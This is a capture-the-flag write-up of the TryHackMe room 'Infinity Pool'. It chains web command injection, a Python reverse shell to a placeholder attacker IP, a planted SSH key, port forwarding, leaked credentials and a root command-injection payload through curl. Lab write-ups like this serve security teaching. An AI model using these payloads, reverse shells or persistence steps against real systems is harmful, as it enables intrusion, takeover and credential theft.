TryHackMe Hacker Holidays 2026: Infinity Pool

๐Ÿ“… Published 08-08-2026 ยทctfpentestingweb-securitypost-exploitationprivilege-escalationtunneling

Written By Aryan Giri

Room: Infinity Pool
Category: Boot2Root
Difficulty: Medium
Points: 90
Platform: TryHackMe
Room URL: https://tryhackme.com/room/hh-infinitypool-5b3548af

Concierge Briefing

No visible edge. You trace the network to the horizon and find three systems nobody told you about on the other side.

The objective is straightforward:

The interesting part is how the attack chain develops. Initial access comes from command injection in a web application, while privilege escalation requires discovering services that are only reachable from the target itself.


Initial Web Enumeration

The target machine provided by the room was:

http://10.49.175.103

I started by opening the web application in a browser.

Screenshot 2026-08-07 211141

There was not much visible functionality, so the next step was source-code reconnaissance.

Looking through the webpage source revealed an interesting reference to an app.py file.

Screenshot 2026-08-07 211212 Screenshot 2026-08-07 211227

The application exposed endpoints including:

/status
/internal/netcheck

The /internal/netcheck endpoint returned Method Not Allowed when accessed directly, while /status exposed functionality that allowed an IP address to be supplied for a ping operation.


Command Injection

The ping functionality immediately looked interesting.

Screenshot 2026-08-07 211403

Instead of supplying only an IP address, I tested whether additional shell syntax would be interpreted.

For example:

127.0.0.1 ; pwd

The application executed the additional command and returned the working directory.

Screenshot 2026-08-07 211843

This confirmed command injection and, more importantly, revealed the filesystem location from which the web application was running.

At this point, the goal changed from web enumeration to obtaining interactive access to the underlying system.


EscapeArtist

While testing command-injection payloads, I also used one of my older utilities, EscapeArtist.

EscapeArtist is a client-side utility for security researchers, penetration testers, and CTF players that dynamically generates command-injection bypass payloads based on the target command, allowed values, and shell environment.

Screenshot 2026-08-07 211653

For example, if the allowed input is:

127.0.0.1

and the command I want to execute is:

pwd

EscapeArtist can generate a collection of syntactically valid payload variations.

Screenshot 2026-08-07 211746

Generated payloads:

Screenshot 2026-08-07 211806

For this room, however, the basic command injection was already sufficient.


Getting a Reverse Shell

Technology reconnaissance showed that the web application was running behind Gunicorn, indicating a Python-based web service.

Since arbitrary commands could already be executed, I used a Python reverse shell to obtain a proper interactive connection.

First, start a listener on the attacking machine:

nc -lvnp <LISTEN_PORT>

Then execute the reverse-shell command through the vulnerable parameter:

127.0.0.1 | python3 -c 'import socket,subprocess,os; s=socket.socket(); s.connect(("<ATTACKER_IP>",<LISTEN_PORT>)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(["/bin/bash","-i"])'
Screenshot 2026-08-07 220056

The connection came back to the listener.

Screenshot 2026-08-07 220106

A proper PTY could be configured at this point, but for this room I only needed enough shell functionality to continue enumeration.


User Flag

After obtaining the shell, I navigated to the user's home directory and checked the flag file:

cd
cat user.txt
Screenshot 2026-08-07 224358

The user flag was successfully obtained.

The flag itself is omitted because of TryHackMe's room-content rules.


Privilege Escalation

Getting the user shell was only the beginning.

Traditional privilege-escalation enumeration did not immediately reveal an obvious path to root, so I started looking at local services.

One of the most useful commands here was:

ss -tuln
Screenshot 2026-08-08 142217

The output showed several TCP and UDP services, including services bound only to localhost.

This was the important clue.

Services listening on:

127.0.0.1

cannot normally be reached directly from the attacking machine.

The internal architecture eventually revealed three important services:

127.0.0.1:3000
    Watchtower
    Configuration API

127.0.0.1:8080
    Apache / FreePBX UCP

127.0.0.1:9000
    Automation service

There was also an Asterisk AMI service listening locally on port 5038.

The attack path therefore became:

Command Injection
        |
        v
Reverse Shell
        |
        v
Local Service Enumeration
        |
        v
Watchtower Configuration Leak
        |
        v
FreePBX UCP
        |
        v
Automation Key
        |
        v
Automation API
        |
        v
Command Injection as root
        |
        v
Root Flag

Enumerating the Internal Web Services

I first checked the HTTP services from the compromised machine.

For example:

curl -s -I http://127.0.0.1:8080/ucp

The service on port 8080 returned a redirect, indicating that this was the Apache/FreePBX service.

Screenshot 2026-08-08 142427

There was also an HTTP service on another local port, but it was the raw Asterisk HTTP server rather than the FreePBX UCP interface.

The key point was that the interesting services were intentionally inaccessible from outside the machine.


Harvesting Credentials from Watchtower

The service on port 3000 exposed a configuration API.

I queried it with:

curl -s http://127.0.0.1:3000/api/config
Screenshot 2026-08-08 142307

The response disclosed credentials for the FreePBX UCP application:

User: FreePBXUCPTemplateCreator
Pass: $t4yN0t1c3d_2026

These credentials were important because they allowed access to the internal FreePBX interface.


Reaching Localhost Services with SSH Port Forwarding

The FreePBX UCP service was listening internally on the target, so accessing it directly from the attacking machine was not possible.

This is where SSH local port forwarding becomes useful.

First, I generated an RSA key on the attacking machine:

ssh-keygen -t rsa -b 2048 -f ~/.ssh/infinity_pool_key -N ""

The public key can be displayed again if the terminal has been cleared:

cat ~/.ssh/infinity_pool_key.pub

From the existing shell on the target, I created the SSH directory if necessary:

mkdir -p ~/.ssh

Then added the attacker's public key:

echo "ssh-rsa <PASTE_YOUR_PUBLIC_KEY_HERE>" >> ~/.ssh/authorized_keys
Screenshot 2026-08-08 140943

This allowed me to establish an SSH connection using the generated key.


Creating the SSH Tunnel

From the attacking machine:

ssh -i ~/.ssh/infinity_pool_key -L 8080:127.0.0.1:8080 web@10.48.147.49

The important part is:

-L 8080:127.0.0.1:8080

This maps:

Attacker localhost:8080
        |
        v
SSH tunnel
        |
        v
Target 127.0.0.1:8080
Screenshot 2026-08-08 142610

Now the internal FreePBX service could be accessed through the attacker's own browser.


Accessing FreePBX UCP

With the tunnel active, I opened:

http://127.0.0.1:8080/ucp
Screenshot 2026-08-08 142640

The page took some time to load.

A useful way to verify that the tunnel itself is working is to open:

http://127.0.0.1:8080

This returned the Ubuntu default webpage immediately.

If that page works but UCP takes longer to load, the SSH tunnel itself is probably functioning correctly.

The UCP login page requested credentials.

I used the credentials discovered from Watchtower:

Username:
FreePBXUCPTemplateCreator

Password:
$t4yN0t1c3d_2026
Screenshot 2026-08-08 142811

After authentication, the UCP interface loaded.

Screenshot 2026-08-08 142848

A short setup guide appeared. I proceeded through it until reaching the main dashboard.


Finding the Automation Key

The UCP interface contained dashboard functionality.

There were two + buttons, one on the left and another on the right.
Screenshot 2026-08-08 143246

The Left-side + was the one needed to create a dashboard.

I created a dashboard named:

tester
Screenshot 2026-08-08 143304

Next, I used the right-side + to add a widget.

Screenshot 2026-08-08 143319

From the available widgets, I selected the voicemail widget.

Screenshot 2026-08-08 143330

After adding it, the voicemail information appeared in the dashboard.

Screenshot 2026-08-08 143435

The important information was in the Caller ID field.

The Caller ID contained an automation key resembling:

cc_auto_...

I copied this key because it was required to interact with the internal automation service.


Exploiting the Automation Service

The final internal service was listening on:

127.0.0.1:9000

The discovered automation key could be supplied as a Bearer token.

First, I stored the key in a shell variable:

KEY='<YOUR_AUTOMATION_KEY>'

The service exposed an export endpoint:

POST /jobs/export

I tested whether the report parameter was safely handled.

The parameter was vulnerable to command injection.

Since the export job executed with root privileges, command injection here provided a path from the existing user context to root.

To retrieve the root flag:

curl -s -X POST \
-H "Authorization: Bearer $KEY" \
-H "Content-Type: application/json" \
http://127.0.0.1:9000/jobs/export \
-d '{"report":"test; cat /root/root.txt;"}'
Screenshot 2026-08-08 143656

The response contained the root flag.

The flag is omitted because of TryHackMe's room-content rules.


Attack Chain

The complete compromise can be summarized as:

Internet-facing web application
            |
            v
Source-code reconnaissance
            |
            v
/status ping functionality
            |
            v
Command Injection
            |
            v
Python Reverse Shell
            |
            v
Local enumeration with ss
            |
            v
127.0.0.1:3000 Watchtower
            |
            v
FreePBX credentials
            |
            v
SSH local port forwarding
            |
            v
FreePBX UCP
            |
            v
Voicemail widget
            |
            v
Automation Key
            |
            v
127.0.0.1:9000
            |
            v
/jobs/export command injection
            |
            v
Root execution
            |
            v
/root/root.txt

Lessons from the Room

Infinity Pool was less about finding a single vulnerability and more about chaining several weaknesses together.

The first major issue was command injection in the web application's ping functionality. A feature intended to perform a simple network diagnostic allowed attacker-controlled shell commands to reach the underlying operating system.

The second important discovery was that localhost-only services should not be ignored. Binding an application to 127.0.0.1 prevents direct remote access, but it does not make the service inherently secure. Once an attacker obtains shell access, those services become part of the attack surface.

The Watchtower configuration endpoint demonstrated another common failure: sensitive credentials exposed through an internal configuration API.

SSH port forwarding then provided a clean way to reach an otherwise inaccessible service:

Attacker -> SSH -> Target localhost service

The FreePBX interface ultimately exposed an automation credential, which became the bridge to the final privilege-escalation stage.

Finally, the automation service trusted a user-controlled report value while executing an export operation as root. That turned a seemingly ordinary API parameter into a root-level command-execution primitive.

The most important lesson from the room is therefore the attack-chain mindset:

Initial RCE
    +
Internal service discovery
    +
Credential exposure
    +
Local service access
    +
Application-level token
    +
Privileged command injection
    =
Full system compromise

A service being hidden behind localhost is not the same thing as being secure. Once an attacker gets execution on the host, the entire internal service topology becomes part of the reachable attack surface.